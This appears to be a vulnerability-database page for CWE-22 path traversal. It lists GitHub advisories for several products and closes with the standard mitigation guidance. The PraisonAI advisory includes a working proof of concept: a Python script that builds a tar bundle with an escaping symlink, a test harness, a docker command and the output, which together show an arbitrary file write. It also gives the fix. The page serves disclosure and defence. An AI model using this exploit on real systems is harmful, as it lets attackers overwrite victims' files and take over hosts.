CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13047 vulnerabilities reference this CWE, most recent first.
GHSA-9PWR-2MV9-JGQ5
Vulnerability from github – Published: 2022-05-02 06:18 – Updated: 2022-05-02 06:18Directory traversal vulnerability in vbseo.php in Crawlability vBSEO plugin 3.1.0 for vBulletin allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the vbseourl parameter.
{
"affected": [],
"aliases": [
"CVE-2010-1077"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-23T19:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in vbseo.php in Crawlability vBSEO plugin 3.1.0 for vBulletin allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the vbseourl parameter.",
"id": "GHSA-9pwr-2mv9-jgq5",
"modified": "2022-05-02T06:18:50Z",
"published": "2022-05-02T06:18:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1077"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/56439"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1002-exploits/vbseo-lfi.txt"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/11526"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/0442"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9PWV-PQG3-7WH4
Vulnerability from github – Published: 2024-05-17 09:31 – Updated: 2024-05-17 09:31Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in WooCommerce WooCommerce One Page Checkout allows PHP Local File Inclusion.This issue affects WooCommerce One Page Checkout: from n/a through 2.3.0.
{
"affected": [],
"aliases": [
"CVE-2023-35881"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-17T07:15:55Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in WooCommerce WooCommerce One Page Checkout allows PHP Local File Inclusion.This issue affects WooCommerce One Page Checkout: from n/a through 2.3.0.",
"id": "GHSA-9pwv-pqg3-7wh4",
"modified": "2024-05-17T09:31:00Z",
"published": "2024-05-17T09:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35881"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/woocommerce-one-page-checkout/wordpress-woocommerce-one-page-checkout-plugin-2-3-0-local-file-inclusion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9Q28-GHCR-C4X3
Vulnerability from github – Published: 2026-05-11 13:59 – Updated: 2026-05-11 13:59Summary
The _safe_extractall helper that all recipe pull, recipe publish, and recipe unpack flows route through validates each archive member's name for absolute paths, .. segments, and resolved-path escape — but does not validate member.linkname, does not reject symlink/hardlink members, and calls tar.extractall(dest_dir) without filter="data". A bundle that contains a symlink with a name
inside dest_dir but a linkname pointing outside it, followed by a regular file whose path traverses through the just-created symlink, escapes dest_dir and lets the attacker write arbitrary content to an attacker-chosen location on the victim's filesystem.
Affected paths
Every code path that calls _safe_extractall is exposed:
| Caller | File:line |
|---|---|
praisonai recipe unpack |
src/praisonai/praisonai/cli/features/recipe.py:1175 (introduced as the fix for GHSA-99g3-w8gr-x37c) |
LocalRegistry.unpack (recipe pull) |
src/praisonai/praisonai/recipe/registry.py:413 |
| Registry archive validation (publish) | src/praisonai/praisonai/recipe/registry.py:808 |
Root cause
recipe/registry.py:131-178:
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
...
for member in tar.getmembers():
...
member_path = Path(member.name)
if member_path.is_absolute(): raise RegistryError(...)
if '..' in member_path.parts: raise RegistryError(...)
resolved = (dest_resolved / member_path).resolve()
if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
raise RegistryError(...)
# All members validated — safe to extract
tar.extractall(dest_dir)
Three gaps:
- The loop checks only
member.name.member.linkname(the symlink / hardlink target) is not inspected. member.issym()andmember.islnk()are not used to refuse link members at all.tar.extractall(dest_dir)runs withoutfilter="data". On Python ≤ 3.13 the default isfully_trusted(with a DeprecationWarning on 3.12+), which permits symlinks pointing outsidedest_dir.
When the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker's chosen location.
Reproduction
Tested in a disposable container against praisonai==4.6.35 (pip install praisonai, no other modifications).
make_bundle.py:
import io, json, tarfile
manifest = json.dumps({"name": "legit", "version": "1.0.0"}).encode()
with tarfile.open("malicious.praison", "w:gz") as tar:
info = tarfile.TarInfo("manifest.json"); info.size = len(manifest)
tar.addfile(info, io.BytesIO(manifest))
sym = tarfile.TarInfo("legit/escape")
sym.type = tarfile.SYMTYPE
sym.linkname = "/tmp/PWNED"
tar.addfile(sym)
payload = b"PWNED via symlink-extraction bypass of _safe_extractall\n"
pf = tarfile.TarInfo("legit/escape/owned.txt"); pf.size = len(payload)
tar.addfile(pf, io.BytesIO(payload))
direct_test.py:
import shutil, tarfile
from pathlib import Path
from praisonai.recipe.registry import _safe_extractall
DEST = Path("/work/recipes_direct")
shutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True)
Path("/tmp/PWNED").mkdir(parents=True, exist_ok=True)
with tarfile.open("malicious.praison", "r:gz") as tar:
_safe_extractall(tar, DEST)
assert Path("/tmp/PWNED/owned.txt").exists(), "did not escape"
print("PWNED:", Path("/tmp/PWNED/owned.txt").read_text())
Run:
docker run --rm -v "$PWD:/work" -w /work python:3.11-slim sh -c '
pip install -q praisonai &&
python make_bundle.py &&
python direct_test.py
'
Observed output:
_safe_extractall returned cleanly
PWNED: PWNED via symlink-extraction bypass of _safe_extractall
/tmp/PWNED/owned.txt exists after the call returns, written outside the destination directory the helper was asked to extract into.
Impact
Arbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious .praison bundle through any of the three callers above.
Realistic exploitation paths:
- A user runs
praisonai recipe unpack ./<malicious>.praisonafter obtaining the bundle from a shared registry, a tutorial link, or direct messaging. - A user runs
praisonai recipe pull <name>against a malicious or compromised registry. - A registry server processes an uploaded
.praisonbundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv).
Where the agent process runs as a regular user, the attacker can overwrite shell config (.bashrc, .zshrc, .profile), SSH authorized_keys, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some sudo-launched workflows), the attacker controls arbitrary system files.
This re-opens the recipe pull, recipe publish, and recipe unpack paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close.
Suggested remediation
Single-line fix at recipe/registry.py:178:
tar.extractall(dest_dir, filter="data")
filter="data" (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses
symlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class.
If you also support older Python, add an explicit guard inside the existing per-member loop before tar.extractall:
if member.issym() or member.islnk():
link_target = (dest_resolved / member_path.parent / member.linkname).resolve()
if member.linkname.startswith("/") or not str(link_target).startswith(str(dest_resolved) + os.sep):
raise RegistryError(
f"Refusing to extract link with target outside dest dir: "
f"{member.name} -> {member.linkname}"
)
Affected versions
praisonai >= 2.7.2 through current 4.6.35 (the helper exists at least back to the earliest path-traversal patch chain referenced in
GHSA-99g3-w8gr-x37c). All releases that route extraction through _safe_extractall are exposed.
Disclosure
Reported privately via the project's GHSA workflow at https://github.com/MervinPraison/PraisonAI/security/advisories/new
-- Dhiral Vyas
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.6.36"
},
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.37"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44340"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T13:59:41Z",
"nvd_published_at": "2026-05-08T14:16:47Z",
"severity": "HIGH"
},
"details": "### Summary\nThe `_safe_extractall` helper that all `recipe pull`, `recipe publish`, and `recipe unpack` flows route through validates each archive member\u0027s `name` for absolute paths, `..` segments, and resolved-path escape \u2014 but does **not** validate `member.linkname`, does not reject symlink/hardlink members, and calls `tar.extractall(dest_dir)` without `filter=\"data\"`. A bundle that contains a symlink with a name\ninside `dest_dir` but a `linkname` pointing outside it, followed by a regular file whose path traverses *through* the just-created symlink, escapes `dest_dir` and lets the attacker write arbitrary content to an attacker-chosen location on the victim\u0027s filesystem.\n\n## Affected paths\n\nEvery code path that calls `_safe_extractall` is exposed:\n\n| Caller | File:line |\n|---|---|\n| `praisonai recipe unpack` | `src/praisonai/praisonai/cli/features/recipe.py:1175` (introduced as the fix for GHSA-99g3-w8gr-x37c) |\n| `LocalRegistry.unpack` (recipe pull) | `src/praisonai/praisonai/recipe/registry.py:413` |\n| Registry archive validation (publish) | `src/praisonai/praisonai/recipe/registry.py:808` |\n\n## Root cause\n\n`recipe/registry.py:131-178`:\n\n```python\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -\u003e None:\n ...\n for member in tar.getmembers():\n ...\n member_path = Path(member.name)\n if member_path.is_absolute(): raise RegistryError(...)\n if \u0027..\u0027 in member_path.parts: raise RegistryError(...)\n resolved = (dest_resolved / member_path).resolve()\n if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n raise RegistryError(...)\n # All members validated \u2014 safe to extract\n tar.extractall(dest_dir)\n```\n\nThree gaps:\n\n1. The loop checks only `member.name`. `member.linkname` (the symlink / hardlink target) is not inspected.\n2. `member.issym()` and `member.islnk()` are not used to refuse link members at all.\n3. `tar.extractall(dest_dir)` runs without `filter=\"data\"`. On Python \u2264 3.13 the default is `fully_trusted` (with a DeprecationWarning on 3.12+), which permits symlinks pointing outside `dest_dir`.\n\nWhen the archive is extracted in member order, the symlink lands first, and any subsequent member whose path traverses through that symlink follows it to the attacker\u0027s chosen location.\n\n## Reproduction\n\nTested in a disposable container against `praisonai==4.6.35` (`pip install praisonai`, no other modifications).\n\n`make_bundle.py`:\n\n```python\nimport io, json, tarfile\nmanifest = json.dumps({\"name\": \"legit\", \"version\": \"1.0.0\"}).encode()\nwith tarfile.open(\"malicious.praison\", \"w:gz\") as tar:\n info = tarfile.TarInfo(\"manifest.json\"); info.size = len(manifest)\n tar.addfile(info, io.BytesIO(manifest))\n\n sym = tarfile.TarInfo(\"legit/escape\")\n sym.type = tarfile.SYMTYPE\n sym.linkname = \"/tmp/PWNED\"\n tar.addfile(sym)\n\n payload = b\"PWNED via symlink-extraction bypass of _safe_extractall\\n\"\n pf = tarfile.TarInfo(\"legit/escape/owned.txt\"); pf.size = len(payload)\n tar.addfile(pf, io.BytesIO(payload))\n```\n\n`direct_test.py`:\n\n```python\nimport shutil, tarfile\nfrom pathlib import Path\nfrom praisonai.recipe.registry import _safe_extractall\n\nDEST = Path(\"/work/recipes_direct\")\nshutil.rmtree(DEST, ignore_errors=True); DEST.mkdir(parents=True)\nPath(\"/tmp/PWNED\").mkdir(parents=True, exist_ok=True)\n\nwith tarfile.open(\"malicious.praison\", \"r:gz\") as tar:\n _safe_extractall(tar, DEST)\n\nassert Path(\"/tmp/PWNED/owned.txt\").exists(), \"did not escape\"\nprint(\"PWNED:\", Path(\"/tmp/PWNED/owned.txt\").read_text())\n```\n\nRun:\n\n```bash\ndocker run --rm -v \"$PWD:/work\" -w /work python:3.11-slim sh -c \u0027\n pip install -q praisonai \u0026\u0026\n python make_bundle.py \u0026\u0026\n python direct_test.py\n\u0027\n```\n\nObserved output:\n\n```\n_safe_extractall returned cleanly\nPWNED: PWNED via symlink-extraction bypass of _safe_extractall\n```\n\n`/tmp/PWNED/owned.txt` exists after the call returns, written outside the destination directory the helper was asked to extract into.\n\n## Impact\n\nArbitrary file write with attacker-controlled content to an attacker-chosen path, on every host that processes a malicious `.praison` bundle through any of the three callers above.\n\nRealistic exploitation paths:\n\n- A user runs `praisonai recipe unpack ./\u003cmalicious\u003e.praison` after obtaining the bundle from a shared registry, a tutorial link, or\n direct messaging.\n- A user runs `praisonai recipe pull \u003cname\u003e` against a malicious or compromised registry.\n- A registry server processes an uploaded `.praison` bundle (the publish path is reachable over the network if the server is exposed. per GHSA-r9x3-wx45-2v7f and GHSA-2xgv-5cv2-47vv).\n\nWhere the agent process runs as a regular user, the attacker can overwrite shell config (`.bashrc`, `.zshrc`, `.profile`), SSH `authorized_keys`, cron entries, or project files in adjacent directories. Where the process runs as root (registry-server deployments and some `sudo`-launched workflows), the attacker controls arbitrary system files.\n\nThis re-opens the `recipe pull`, `recipe publish`, and `recipe unpack` paths that GHSA-99g3-w8gr-x37c, GHSA-4rx4-4r3x-6534, GHSA-r9x3-wx45-2v7f, and GHSA-4ph2-f6pf-79wv were each intended to close.\n\n## Suggested remediation\n\nSingle-line fix at `recipe/registry.py:178`:\n\n```python\ntar.extractall(dest_dir, filter=\"data\")\n```\n\n`filter=\"data\"` (introduced in Python 3.12; available as a backport on 3.8+ via the official PEP 706 reference implementation) refuses\nsymlinks, hardlinks, device nodes, and absolute or escaping link targets, it is the canonical Python defense against this class.\nIf you also support older Python, add an explicit guard inside the existing per-member loop before `tar.extractall`:\n\n```python\nif member.issym() or member.islnk():\n link_target = (dest_resolved / member_path.parent / member.linkname).resolve()\n if member.linkname.startswith(\"/\") or not str(link_target).startswith(str(dest_resolved) + os.sep):\n raise RegistryError(\n f\"Refusing to extract link with target outside dest dir: \"\n f\"{member.name} -\u003e {member.linkname}\"\n )\n```\n\n## Affected versions\n\n`praisonai \u003e= 2.7.2` through current `4.6.35` (the helper exists at least back to the earliest path-traversal patch chain referenced in\nGHSA-99g3-w8gr-x37c). All releases that route extraction through `_safe_extractall` are exposed.\n\n## Disclosure\n\nReported privately via the project\u0027s GHSA workflow at\nhttps://github.com/MervinPraison/PraisonAI/security/advisories/new\n\n-- Dhiral Vyas",
"id": "GHSA-9q28-ghcr-c4x3",
"modified": "2026-05-11T13:59:41Z",
"published": "2026-05-11T13:59:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9q28-ghcr-c4x3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44340"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "PraisonAI\u0027s symlink-extraction bypass of `_safe_extractall` writes outside `dest_dir`"
}
GHSA-9Q34-P9W7-3F57
Vulnerability from github – Published: 2024-12-10 06:31 – Updated: 2025-02-24 18:32The Best WordPress Gallery Plugin – FooGallery plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.4.26. This makes it possible for authenticated attackers, with contributor level or higher to read the contents of arbitrary folders on the server, which can contain sensitive information such as folder structure.
{
"affected": [],
"aliases": [
"CVE-2023-6947"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-25"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-10T06:15:19Z",
"severity": "HIGH"
},
"details": "The Best WordPress Gallery Plugin \u2013 FooGallery plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 2.4.26. This makes it possible for authenticated attackers, with contributor level or higher to read the contents of arbitrary folders on the server, which can contain sensitive information such as folder structure.",
"id": "GHSA-9q34-p9w7-3f57",
"modified": "2025-02-24T18:32:15Z",
"published": "2024-12-10T06:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6947"
},
{
"type": "WEB",
"url": "https://github.com/fooplugins/foogallery/pull/263/commits/9989f6f4f4d478ec04cb634d09b18c87a5b31c4d"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/68420c5a-4add-4597-bd2a-20dc831e81bd?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9Q42-J26W-29G5
Vulnerability from github – Published: 2024-06-17 18:31 – Updated: 2024-07-03 18:45puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal. Attackers can exploit the URL parameter using the file protocol to read sensitive information from the server.
{
"affected": [],
"aliases": [
"CVE-2024-36527"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-17T18:15:16Z",
"severity": "MODERATE"
},
"details": "puppeteer-renderer v.3.2.0 and before is vulnerable to Directory Traversal. Attackers can exploit the URL parameter using the file protocol to read sensitive information from the server.",
"id": "GHSA-9q42-j26w-29g5",
"modified": "2024-07-03T18:45:40Z",
"published": "2024-06-17T18:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36527"
},
{
"type": "WEB",
"url": "https://gist.github.com/7a6163/25fef08f75eed219c8ca21e332d6e911"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9Q4P-WV38-76G5
Vulnerability from github – Published: 2022-05-01 18:28 – Updated: 2022-05-01 18:28Absolute directory traversal vulnerability in a certain ActiveX control in the VB To VSI Support Library (VBTOVSI.DLL) 1.0.0.0 in Microsoft Visual Studio 6.0 allows remote attackers to create or overwrite arbitrary files via a full pathname in the argument to the SaveAs method. NOTE: contents can be copied from local files via the Load method.
{
"affected": [],
"aliases": [
"CVE-2007-4890"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-09-14T01:17:00Z",
"severity": "MODERATE"
},
"details": "Absolute directory traversal vulnerability in a certain ActiveX control in the VB To VSI Support Library (VBTOVSI.DLL) 1.0.0.0 in Microsoft Visual Studio 6.0 allows remote attackers to create or overwrite arbitrary files via a full pathname in the argument to the SaveAs method. NOTE: contents can be copied from local files via the Load method.",
"id": "GHSA-9q4p-wv38-76g5",
"modified": "2022-05-01T18:28:03Z",
"published": "2022-05-01T18:28:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4890"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36571"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4394"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/26779"
},
{
"type": "WEB",
"url": "http://shinnai.altervista.org/exploits/txt/TXT_qwFZc3a35RLy5AGxVBjJ.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/25635"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-9Q4R-RVWW-Q2RV
Vulnerability from github – Published: 2022-07-29 00:00 – Updated: 2022-08-04 00:00Improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability in cgi component in Synology DNS Server before 2.2.2-5027 allows remote authenticated users to delete arbitrary files via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2022-27615"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-28T04:15:00Z",
"severity": "HIGH"
},
"details": "Improper limitation of a pathname to a restricted directory (\u0027Path Traversal\u0027) vulnerability in cgi component in Synology DNS Server before 2.2.2-5027 allows remote authenticated users to delete arbitrary files via unspecified vectors.",
"id": "GHSA-9q4r-rvww-q2rv",
"modified": "2022-08-04T00:00:15Z",
"published": "2022-07-29T00:00:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27615"
},
{
"type": "WEB",
"url": "https://www.synology.com/security/advisory/Synology_SA_20_27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9Q4W-7QGM-7FMX
Vulnerability from github – Published: 2022-05-17 19:57 – Updated: 2024-04-04 00:01Directory traversal vulnerability in the ReportDownloadServlet servlet in Lexmark MarkVision Enterprise before 2.1 allows remote attackers to read arbitrary files via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2014-8742"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-01-27T18:15:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in the ReportDownloadServlet servlet in Lexmark MarkVision Enterprise before 2.1 allows remote attackers to read arbitrary files via unspecified vectors.",
"id": "GHSA-9q4w-7qgm-7fmx",
"modified": "2024-04-04T00:01:09Z",
"published": "2022-05-17T19:57:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8742"
},
{
"type": "WEB",
"url": "http://support.lexmark.com/index?page=content\u0026id=TE666"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-14-411"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9Q6F-339M-42FV
Vulnerability from github – Published: 2026-02-11 15:30 – Updated: 2026-02-12 15:32A path traversal vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.
We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.4 ( 2026/01/20 ) and later
{
"affected": [],
"aliases": [
"CVE-2025-58470"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-11T13:15:56Z",
"severity": "LOW"
},
"details": "A path traversal vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.4 ( 2026/01/20 ) and later",
"id": "GHSA-9q6f-339m-42fv",
"modified": "2026-02-12T15:32:43Z",
"published": "2026-02-11T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58470"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-26-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9Q75-CPX3-GWQ8
Vulnerability from github – Published: 2022-05-17 00:40 – Updated: 2022-05-17 00:40Directory traversal vulnerability in download.php in eMetrix Online Keyword Research Tool allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter.
{
"affected": [],
"aliases": [
"CVE-2008-6335"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-27T17:30:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in download.php in eMetrix Online Keyword Research Tool allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter.",
"id": "GHSA-9q75-cpx3-gwq8",
"modified": "2022-05-17T00:40:06Z",
"published": "2022-05-17T00:40:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6335"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/47516"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/7524"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/33255"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32932"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
